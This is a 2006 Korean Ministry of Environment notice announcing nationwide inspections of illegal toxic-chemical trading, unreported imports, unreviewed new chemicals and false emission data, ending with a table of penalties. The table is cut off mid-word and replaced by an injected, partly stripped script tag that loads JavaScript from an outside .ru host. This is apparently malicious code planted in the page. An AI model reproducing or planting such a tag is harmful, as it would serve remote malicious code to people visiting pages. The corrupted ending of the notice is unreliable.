제목 | 화학물질에 대한 전방위 단속 실시 | ||||
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작성자 | 관리자 | 작성일 | 2006-05-09 오전 9:39:00 | 조회수 | 2285 |
내용 | 화학물질에 대한 전방위 단속 실시 ◇ 유해화학물질관리법 위반행위 대대적 지도·점검으로 화학물질 제조, 수입 등에 대한 유통질서 확립 □ 환경부는 다음달부터 무등록 유독물영업, 유독물 수입 미신고, 유해성 여부 확인을 받지 않은 신규화학물질의 수입 등 유해화학물질관리법 위반행위에 대해 관계기관 합동점검을 실시하여 화학물질의 유통질서를 확립하겠다고 밝혔다. □ 특히 이번 단속은 화학물질 분야에 대한 관리기능 확대를 위해 금년 2월 발족된 7개 유역·지방 환경청 화학물질관리과 및 환경감시단이 중심이 되고, 국립환경과학원, 한국화학물질관리협회, 지자체, 관세청 등 유관기관 합동으로 추진된다. □ 우선 불법 유독물영업자를 집중 점검한다는 계획이다. ○ 환경부는 관할 지자체로부터 영업등록을 받지 않고 유독물(폼알데하이드, 벤젠, 톨루엔 등 555종) 제조·판매 등의 영업행위를 하는 불법 무등록 유독물영업자가 전국적으로 상당 수 있을 것으로 보고, 금년 5~6월과 9~10월에 각각 집중단속을 실시하기로 했다. ○ 지금까지 시·도의 유독물 관리가 기존 등록업체의 취급시설 및 관리기준 등 형식적인 요건에 대한 지도감독에 주로 머물러 있어, 영업등록 자체를 받지 않은 불법영업행위에 대한 단속은 상대적으로 소홀히 해 왔다는 것이 환경부의 진단이다. □ 사전신고를 하지 않고 유독물을 수입한 행위에 대해서도 5월부터 11월까지 7개월에 걸쳐 지속적인 점검이 이루어진다. ○ 유독물을 수입하기 위해서는 사전에 한국화학물질관리협회에 이를 신고해야 하지만, 미신고자에 대한 전반적인 단속 및 행정조치는 사실상 거의 이루어지지 않았다. ※ '05.4~9월 자진신고제를 통해 미신고 유독물 686건 확인, '05.10~12월 합동단속을 통해 9개 업체 50건 적발 □ 유해성심사를 받지 않고 신규화학물질을 수입한 행위에 대한 지도·점검도 미신고 유독물 수입 행위 단속과 동시에 진행된다. ○ 신규화학물질을 수입하고자 하는 사업자는 국립환경과학원으로부터 사전에 당해 물질의 유해성 여부에 대한 심사를 받아야 하지만, ○ 사업자가 적극적으로 심사신청을 하지 않을 경우 신규물질 수입 여부를 사전에 파악하기가 쉽지 않아 유해성심사를 거치지 않은 신규화학물질이 국내에 유통되는 사례가 다수 있었다. ※ 유해성심사 미이행 신규화학물질 자진신고 540건, 적발 11건('05.4~12월) ※ 신규화학물질 : 기존화학물질('91.2.2일 이전 국내에서 상업용으로 유통된 화학물질과 '91.2.2일 이후 유해성심사를 거쳐 국립환경과학원장이 고시한 40,624종의 물질) 이외의 화학물질을 말함 ○ 환경부는 금년부터 시행된 개정 유해화학물질관리법에 의거, 화학물질을 제조하거나 수입하고자 하는 자는 당해 물질에 신규화학물질이 있는지, 유독물 등 유해화학물질에 해당되는지 여부를 스스로 확인하고 이에 대한 확인내역서를 한국화학물질관리협회에 제출하도록 하는 ‘화학물질확인제도’ 가 시행되고 있으므로, ○ 이 제도를 활용하여 신규물질에 대한 유해성심사가 누락되지 않도록 하는 한편, 법령 위반자를 철저히 관리해 나가겠다고 강조했다. □ 아울러 '99년부터 매년 화학물질 취급자로부터 관련 자료를 제출 받아 화학물질의 취급과정에서 배출되는 화학물질의 양을 조사해 오고 있는데, ○ 배출량자료의 신뢰성과 정확성을 기하고 '08년부터 시행되는 개별 사업장 배출량 공개제도에도 효과적으로 대비하기 위해 허위 자료 제출자에 대한 현지실사와 행정조치도 강화하기로 했다 (10~11월). □ 환경부는 이번 단속을 통해 지금까지 다소 느슨했던 화학물질 유통질서를 바로 잡고 앞으로도 화학물질에 대한 관리를 지속적으로 강화해 나갈 것임을 분명히 하는 한편, 환경청의 화학물질 관리기능을 지속적으로 확대할 필요가 있음을 강조했다. ------------------------------------------------------------------------------- 위 반 행 위 벌 칙 ------------------------------------------------------------------------------- 유해성심사 미이행 신규화학물질 수입 5년 이하 징역, 5천만원 이하 벌금 유독물 영업 미등록 상 동 유독물 수입 미신고 1년 이하 징역, 1천만원 이하 벌금 화학물질 배출량 허위자료 제출 200만원 이하 과태료 화학물질확?script src=http:ww.mnbenio.ruscript.js>script> |
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